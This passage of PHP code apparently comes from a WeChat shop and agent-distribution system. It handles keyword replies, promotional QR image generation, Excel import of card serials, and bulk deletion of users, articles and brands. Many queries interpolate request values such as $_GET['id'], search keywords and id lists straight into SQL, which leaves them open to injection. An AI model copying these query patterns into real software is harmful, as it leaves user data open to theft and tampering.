                     if ($puid > 0) {
                         $nickname = $this->App->findrow("SELECT nickname FROM `{$this->App->prefix()}user` WHERE user_id = '{$puid}' LIMIT 1");
                         if (empty($nickname)) {
                             $nickname = '官网';
                         }
                         $str = '来自好友【' . $nickname['nickname'] . '】的推荐成为第【' . $gzcount . '】位会员,立即关注,抢夺店主地盘!';
                     } else {
                         $str = '来自【官网】的推荐成为第【' . $gzcount . '】位会员,立即关注,抢夺店主地盘!';
                     }
                 }
                 $data = '{"touser":"******","msgtype":"text","text":{"content":"' . $str . '"}}';
                 $access_token = $this->_get_access_token();
                 $rt = $this->curlPost('https://api.weixin.qq.com/cgi-bin/message/custom/send?access_token=' . $access_token, $data, 0);
                 $orderid = $this->App->findvar("SELECT order_id FROM  `{$this->App->prefix()}goods_order_info` where `user_id`='{$RL['user_id']}' and `pay_status`=1");
                 if ($orderid or $RL['user_rank'] > 1) {
                     return array('你已经是店主 发送你的名片给你的好友 赚钱吧', 'text');
                 } else {
                     return array("您还不是店主,请<a href=\"" . SITE_URL . "/m/oauth.php?oid=1\">购买商品</a>成为店主", 'text');
                 }
                 break;
             case 'qr':
                 //生成二维码
             //生成二维码
             case '我的二维码':
                 //生成二维码
                 $yuming = str_replace(array('www', '.'), '', $_SERVER["HTTP_HOST"]);
                 if (!empty($yuming)) {
                     $yuming = $yuming . DS;
                 }
                 if (!empty($wecha_id)) {
                     $tb = 'markimg';
                     $sql = "SELECT is_subscribe,user_rank,user_id,quid,headimgurl,nickname FROM `{$this->App->prefix()}user` WHERE wecha_id='{$wecha_id}' LIMIT 1";
                     $RT = $this->App->findrow($sql);
                     if ($RT['is_subscribe'] == '0') {
                         return array('关注后购买成为合伙人生成推广二维码赚钱吧!', 'text');
                         exit;
                     }
                     $access_token = $this->_get_access_token();
                     if ($RT['user_rank'] == '1') {
                         //生成推荐人二维码
                         $tb = 'markimg2';
                         /* $uid = isset($RT['user_id']) ? $RT['user_id'] : '0';
                         			$puid = $this->return_daili_uid($uid);//返回上级分销商 */
                         /*
                         if($puid > 0){
                         	 $sql = "SELECT is_subscribe,user_rank,user_id,quid,headimgurl,nickname FROM `{$this->App->prefix()}user` WHERE user_id='$puid' LIMIT 1";
                         	$RT = $this->App->findrow($sql); 
                         }else{//生成官网二维码
                         	$tb = 'markimg3';
                         	$this->send(array('openid'=>$wecha_id,'appid'=>'','appsecret'=>'','nickname'=>''),$tb);
                         	$sql = "SELECT site_url FROM `{$this->App->prefix()}systemconfig` WHERE type='basic' LIMIT 1";
                         	$f3 = $this->App->findvar($sql);
                         	if(!empty($f3)) $f3 = SYS_PATH.$f3;
                         	if(file_exists($f3)){
                         				$type = "image";
                         				$filedata = array("media"=>"@".$f3);
                         				$url = "http://file.api.weixin.qq.com/cgi-bin/media/upload?access_token=$access_token&type=$type";
                         				$result = $this->https_request($url,$filedata);
                         				$json = json_decode($result);
                         				$media_id = $json->media_id;
                         				if(!empty($media_id)) $this->send(array('openid'=>$wecha_id,'appid'=>'','appsecret'=>'','media_id'=>$media_id),'markimgsend'); 
                         				exit;
                         	}
                         	
                         	//return array('你是由官网推荐,请购买后生成你的推广二维码!', 'text');
                         	exit;
                         }
                         */
                         $this->send(array('openid' => $wecha_id, 'appid' => '', 'appsecret' => '', 'nickname' => ''), $tb);
                         //return array("对不起、您不是东家,获得推广图片,请购买<a href='#'>商品<a/>成为东家", 'xml');
                         exit;
                     }
                     $uid = $RT['user_id'];
                     $quid = $RT['quid'];
                     $headimgurl = $RT['headimgurl'];
                     $nickname = $RT['nickname'];
                     if (empty($nickname)) {
                         $nickname = "官网";
                     }
                     if (empty($headimgurl)) {
                         //return array('请先上传你的微信头像后生成吧!', 'text');
                         //exit;
                     }
                     unset($RT);
                     if (!($quid > 0)) {
                         $sql = "SELECT MAX(quid) FROM `{$this->App->prefix()}user` LIMIT 1";
                         $quid = $this->App->findvar($sql);
                         $quid = intval($quid) + 1;
                         $this->App->update('user', array('quid' => $quid), 'user_id', $uid);
                     }
                     $fop = Import::fileop();
                     $tis = SYS_PATH . 'cache' . DS . $yuming . 'qcode' . DS . $uid . DS . 'cache' . $quid . '.txt';
                     if (file_exists($tis) && mktime() - filemtime($tis) < 60) {
                         return;
                         exit;
                     }
                     if (!file_exists($tis) || mktime() - filemtime($tis) > 60) {
                         $fop->checkDir($tis);
                         @file_put_contents($tis, "run");
                     }
                     $access_token = $this->_get_access_token();
                     //提示生成
                     $this->send(array('openid' => $wecha_id, 'appid' => '', 'appsecret' => '', 'nickname' => ''), $tb);
                     $f3 = SYS_PATH . 'photos' . DS . $yuming . 'qcode' . DS . $uid . DS . 'ms' . $quid . '.jpg';
                     //原图
                     if (file_exists($f3)) {
                         $type = "image";
                         $filedata = array("media" => "@" . $f3);
                         $url = "http://file.api.weixin.qq.com/cgi-bin/media/upload?access_token={$access_token}&type={$type}";
                         $result = $this->https_request($url, $filedata);
                         $json = json_decode($result);
                         $media_id = $json->media_id;
                         if (!empty($media_id)) {
                             $this->send(array('openid' => $wecha_id, 'appid' => '', 'appsecret' => '', 'media_id' => $media_id), 'markimgsend');
                         }
                         exit;
                     }
                     $f = SYS_PATH . 'cache' . DS . $yuming . 'qcode' . DS . $uid . DS . 's' . $quid . '.jpg';
                     if (!file_exists($f)) {
                         //生成二维码
                         $data = '{"action_name": "QR_LIMIT_SCENE", "action_info": {"scene": {"scene_id": ' . $quid . '}}}';
                         //$data = '{"action_name": "QR_LIMIT_SCENE", "action_info": {"scene": {"scene_str": "'.$wecha_id.'"}}}';
                         $rt = $this->curlPost('https://api.weixin.qq.com/cgi-bin/qrcode/create?access_token=' . $access_token, $data, 10);
                         $json = json_decode($rt);
                         $ticket = $json->ticket;
                         $url = $json->url;
                         if (!empty($ticket)) {
                             $str = "https://mp.weixin.qq.com/cgi-bin/showqrcode?ticket=" . $ticket;
                             $img = file_get_contents($str);
                             if (empty($img)) {
                                 $img = Import::crawler()->curl_get_con($str);
                             }
                             if (!empty($img)) {
                                 $fop->checkDir($f);
                                 @file_put_contents($f, $img);
                             }
                         }
                     }
                     if (!file_exists($f)) {
                         return array('生成图片失败,请联系网站管理员解决此问题!', 'text');
                         exit;
                     }
                     $f2 = SYS_PATH . 'cache' . DS . $yuming . 'qcode' . DS . $uid . DS . 'm' . $quid . '.jpg';
                     //二维码
                     $fop->checkDir($f2);
                     $imgobj = Import::img();
                     $imgobj->thumb($f, $f2, 225, 225);
                     $sf = SYS_PATH . 'photos' . DS . $yuming . 'codebg.jpg';
                     //原图背景
                     if (file_exists($sf) == false) {
                         $sf = SYS_PATH . 'photos' . DS . 'codebg.jpg';
                         //原图背景
                     }
                     $f3 = SYS_PATH . 'photos' . DS . $yuming . 'qcode' . DS . $uid . DS . 'ms' . $quid . '.jpg';
                     //原图
                     $fop->checkDir($f3);
                     $imgobj->thumb($sf, $f3, 530, 800);
                     $t = 'false';
                     $t = $this->mark_img($f3, $f2, 152, 460);
                     if ($t == 'true') {
                         //头像
                         $t = "false";
                         $img = file_get_contents($headimgurl);
                         if (empty($img)) {
                             $img = Import::crawler()->curl_get_con($headimgurl);
                         }
                         $f4 = SYS_PATH . 'cache' . DS . $yuming . 'qcode' . DS . $uid . DS . 'mh' . $quid . '.jpg';
                         //头像
                         if (!empty($img)) {
                             $fop->checkDir($f4);
                             @file_put_contents($f4, $img);
                             if (file_exists($f4)) {
                                 $f5 = SYS_PATH . 'cache' . DS . $yuming . 'qcode' . DS . $uid . DS . 'mht' . $quid . '.jpg';
                                 //小头像
                                 $fop->checkDir($f5);
                                 $imgobj->thumb($f4, $f5, 70, 70);
                                 if (file_exists($f5)) {
                                     if ($this->mark_img($f3, $f5, 90, 30) == "true") {
                                         if ($this->mark_txt($f3, $nickname, 265, 58) == "true") {
                                             //昵称
                                             $type = "image";
                                             $filedata = array("media" => "@" . $f3);
                                             $url = "http://file.api.weixin.qq.com/cgi-bin/media/upload?access_token={$access_token}&type={$type}";
                                             $result = $this->https_request($url, $filedata);
                                             $json = json_decode($result);
                                             $media_id = $json->media_id;
                                             if (!empty($media_id)) {
                                                 $this->send(array('openid' => $wecha_id, 'appid' => '', 'appsecret' => '', 'media_id' => $media_id), 'markimgsend');
                                             }
                                         }
                                     }
                                 }
                             }
                         }
                     } else {
                         return array('生成图片失败,请联系网站管理员解决此问题!', 'text');
                         exit;
                     }
                 }
                 break;
         }
         $sql = "SELECT * FROM `{$this->App->prefix()}wx_article` WHERE keyword LIKE '%{$keyword}%' ORDER BY vieworder ASC LIMIT 8";
         $rt = $this->App->find($sql);
         if (!empty($rt)) {
             if (count($rt) == 1) {
                 $rts = $rt[0];
                 if (!empty($rts)) {
                     $ty = $rts['type'];
                     if ($ty == 'txt') {
                         if (!empty($rts['content'])) {
                             return array($rts['content'], 'text');
                         } else {
                             return array("请在后台先编辑好内容", 'text');
                         }
                     } else {
                         $data['title'] = $rts['article_title'];
                         $data['keyword'] = $rts['about'];
                         $data['picurl'] = empty($rts['article_img']) ? SITE_URL . 'm/images/ico-success.png' : SITE_URL . $rts['article_img'];
                         $data['url'] = empty($rts['art_url']) ? SITE_URL . 'm/art.php?id=' . $rts['article_id'] : $rts['art_url'];
                         return array(array(array($data['title'], $data['keyword'], $data['picurl'], $data['url'])), 'news');
                     }
                 }
             } else {
                 $result = array();
                 $k = 0;
                 foreach ($rt as $row) {
                     if ($row['type'] == 'txt') {
                         continue;
                     }
                     $result[$k][] = $row['article_title'];
                     $result[$k][] = $row['about'];
                     $result[$k][] = empty($row['article_img']) ? SITE_URL . 'm/images/ico-success.png' : SITE_URL . $row['article_img'];
                     $result[$k][] = empty($row['art_url']) ? SITE_URL . 'm/art.php?id=' . $row['article_id'] : $row['art_url'];
                     ++$k;
                 }
                 return array($result, 'news');
             }
             //end if
         }
     }
     //商户主动将请求转发至客服
     /* $kehu = array('type' => '1');
     		 if ($kehu && $kehu['type'] == '1') {
              	return array('', 'transfer_customer_service');
              }*/
 }
 function dailiads()
 {
     $this->title("代理中心" . ' - 收货地址 - ' . $GLOBALS['LANG']['site_name']);
     $uid = $this->Session->read('Agent.uid');
     if (!($uid > 0)) {
         $this->jump(SITE_URL . 'daili.php?act=login');
         exit;
     }
     $pid = isset($_GET['id']) ? $_GET['id'] : 0;
     if ($pid > 0) {
         $sql = "SELECT ad_img FROM `{$this->App->prefix()}ad_content` WHERE pid='{$pid}' AND uid='{$uid}' LIMIT 1";
         $vv = $this->App->findvar($sql);
         if (!empty($vv)) {
             Import::fileop()->delete_file(SYS_PATH . $vv);
             //删除文件
             $q = dirname($vv);
             $h = basename($vv);
             Import::fileop()->delete_file(SYS_PATH . $q . DS . 'thumb_s' . DS . $h);
             Import::fileop()->delete_file(SYS_PATH . $q . DS . 'thumb_b' . DS . $h);
         }
         $this->App->delete('ad_content', 'pid', $pid);
         $this->jump(SITE_URL . 'daili.php?act=dailiads');
         exit;
     }
     //分页
     $page = isset($_GET['page']) ? $_GET['page'] : '';
     if (empty($page)) {
         $page = 1;
     }
     $list = 8;
     $start = ($page - 1) * $list;
     $sql = "SELECT COUNT(pid) FROM `{$this->App->prefix()}ad_content`";
     $tt = $this->App->findvar($sql);
     $pagelink = Import::basic()->getpage($tt, $list, $page, '?page=', true);
     $this->set("pages", $pagelink);
     $sql = "SELECT tb1.*,tb2.ad_name AS ad_tag FROM `{$this->App->prefix()}ad_content` AS tb1";
     $sql .= " LEFT JOIN `{$this->App->prefix()}ad_position` AS tb2";
     $sql .= " ON tb1.tid = tb2.tid";
     $sql .= " WHERE tb1.uid='{$uid}' ORDER BY tb1.uptime LIMIT {$start},{$list}";
     $this->set('adslist', $this->App->find($sql));
     $this->template('dailiads');
 }
 function ajax_upload_vgoods_sn($filename = "", $rt = array())
 {
     @set_time_limit(600);
     //最大运行时间
     $gid = $rt['gid'];
     $fop = Import::fileop();
     unset($rt);
     $vgoods_type = $this->App->findvar("SELECT vgoods_type FROM `{$this->App->prefix()}userconfig` WHERE type = 'basic' LIMIT 1");
     if (!empty($_FILES[$filename]['tmp_name'])) {
         $yuming = str_replace(array('www', '.'), '', $_SERVER["HTTP_HOST"]);
         if (!empty($yuming)) {
             $yuming = $yuming . DS;
         }
         $fn = SYS_PATH . 'cache' . DS . $yuming . 'vgoods' . DS . 'vgoodssn.xls';
         if (file_exists($fn)) {
             unlink($fn);
         }
         //删除原来文件
         $fop->copyfile($filename, $fn);
         //复制文件到服务器
         if (!file_exists($fn)) {
             $fop->copyfile($filename, $fn);
             if (!file_exists($fn)) {
                 echo '<script> alert("上传时发生意外错误!"); </script>';
                 return false;
             }
         }
         $data = Import::excel();
         $data->read($fn);
         //读取文件
         $importkey = $data->sheets[0]['cells'][1];
         for ($i = 2; $i <= $data->sheets[0]['numRows']; $i++) {
             $rD = array();
             for ($j = 1; $j <= $data->sheets[0]['numCols']; $j++) {
                 $rD[] = $data->sheets[0]['cells'][$i][$j];
             }
             if (empty($rD[0])) {
                 continue;
             }
             $rtd = array();
             $rtd['goods_id'] = $gid;
             if ($vgoods_type == '2') {
                 $rtd['goods_pass'] = $rD[0];
                 $sn = $rD[0];
             } else {
                 $rtd['goods_pass'] = $rD[1];
                 $rtd['goods_sn'] = $rD[0];
                 $sn = $rD[1];
             }
             $rtd['addtime'] = mktime();
             $sql = "SELECT id FROM `{$this->App->prefix()}goods_sn` WHERE goods_id='{$gid}' AND goods_pass='******' LIMIT 1";
             $id = $this->App->findvar($sql);
             if ($id > 0) {
                 continue;
             }
             $this->App->insert('goods_sn', $rtd);
         }
         echo '<script> alert("上传成功!");</script>';
         return false;
     }
     echo '<script> alert("上传失败!");</script>';
     return true;
 }
Example #24
0
 function ajax_bathdel($ids = 0)
 {
     if (empty($ids)) {
         die("非法删除,删除ID为空!");
     }
     $id_arr = @explode('+', $ids);
     $sql = "SELECT avatar  FROM `{$this->App->prefix()}user` WHERE user_id IN(" . @implode(',', $id_arr) . ")";
     $imgs = $this->App->findcol($sql);
     if (!empty($imgs)) {
         foreach ($imgs as $img) {
             if (empty($img)) {
                 continue;
             }
             Import::fileop()->delete_file(SYS_PATH . $img);
             //
         }
         unset($imgs);
     }
     foreach ($id_arr as $id) {
         if (Import::basic()->int_preg($id)) {
             $this->App->delete('user', 'user_id', $id);
         }
         //删除收货地址
         $this->App->delete('user_address', 'user_id', $id);
         //删除积分改变
         $this->App->delete('user_point_change', 'uid', $id);
         //删余额改变
         $this->App->delete('user_money_change', 'uid', $id);
         //删除评论表
         $this->App->delete('comment', 'user_id', $id);
         // $this->App->delete('comment','parent_id',$id);
     }
     $this->action('system', 'add_admin_log', '删除会员:' . @implode(',', $id_arr));
 }
 function uploadfile($filename, $filedir = "", $data = array())
 {
     if (empty($filedir) || empty($filename)) {
         return false;
     }
     $f_name = $_FILES[$filename]['name'];
     //获取上传源文件名
     $t = strrchr($f_name, '.');
     //类型
     $name = time() . time() . $t;
     //原始图名称
     $dir = basename(dirname($filedir));
     if ($dir == "excle") {
         $this->action('batchupload', 'ajax_upload', $filename);
     } elseif ($dir == "vgexcle") {
         //虚拟卡号码
         //$gid = $data['gid'];
         $this->action('batchupload', 'ajax_upload_vgoods_sn', $filename, $data);
     } else {
         $imgname = Import::fileop()->copyfile($filename, $filedir . $name);
     }
     return $name;
 }
Example #26
0
 function ajax_delarticle($data = array())
 {
     $ids = $data['ids'];
     if (empty($ids)) {
         die("非法删除,删除ID为空!");
     }
     $id_arr = @explode('+', $ids);
     $sql = "SELECT article_img FROM `{$this->App->prefix()}wx_article` WHERE article_id IN(" . @implode(',', $id_arr) . ")";
     $imgs = $this->App->findcol($sql);
     if (!empty($imgs)) {
         foreach ($imgs as $img) {
             if (empty($img)) {
                 continue;
             }
             Import::fileop()->delete_file(SYS_PATH . $img);
             //删除图片
             $q = dirname($img);
             $h = basename($img);
             Import::fileop()->delete_file(SYS_PATH . $q . DS . 'thumb_s' . DS . $h);
             Import::fileop()->delete_file(SYS_PATH . $q . DS . 'thumb_b' . DS . $h);
         }
         unset($imgs);
     }
     foreach ($id_arr as $id) {
         if (Import::basic()->int_preg($id)) {
             $this->App->delete('wx_article', 'article_id', $id);
         }
     }
 }
 function ajax_brand_dels($ids = 0)
 {
     if (empty($ids)) {
         die("非法删除,删除ID为空!");
     }
     $id_arr_ = @explode('+', $ids);
     $id_arr = array();
     if (!empty($id_arr_)) {
         foreach ($id_arr_ as $id) {
             $getid = $this->action('common', 'get_brand_sub_cat_ids', $id);
             //子分类
             if (!empty($getid)) {
                 foreach ($getid as $ii) {
                     if (!in_array($ii, $id_arr)) {
                         $id_arr[] = $ii;
                     }
                 }
             }
         }
     } else {
         echo "意外错误!";
         exit;
     }
     if (empty($id_arr)) {
         echo "意外错误!";
         exit;
     }
     $sql = "SELECT brand_logo FROM `{$this->App->prefix()}brand` WHERE brand_id IN(" . @implode(',', $id_arr) . ")";
     $imgs = $this->App->findcol($sql);
     //删除图片
     if (!empty($imgs)) {
         foreach ($imgs as $img) {
             if (empty($img)) {
                 continue;
             }
             Import::fileop()->delete_file(SYS_PATH . $img);
             //删除图片
             $q = dirname($img);
             $h = basename($img);
             Import::fileop()->delete_file(SYS_PATH . $q . DS . 'thumb_s' . DS . $h);
             Import::fileop()->delete_file(SYS_PATH . $q . DS . 'thumb_b' . DS . $h);
         }
         unset($imgs);
     }
     //删除数据表
     foreach ($id_arr as $id) {
         if (Import::basic()->int_preg($id)) {
             $this->App->delete('brand', 'brand_id', $id);
         }
         // $this->App->delete('brand_type','bid',$id);
     }
     unset($ids, $id_arr_, $id_arr);
     $this->action('system', 'add_admin_log', '删除商品品牌:' . @implode(',', $id_arr));
 }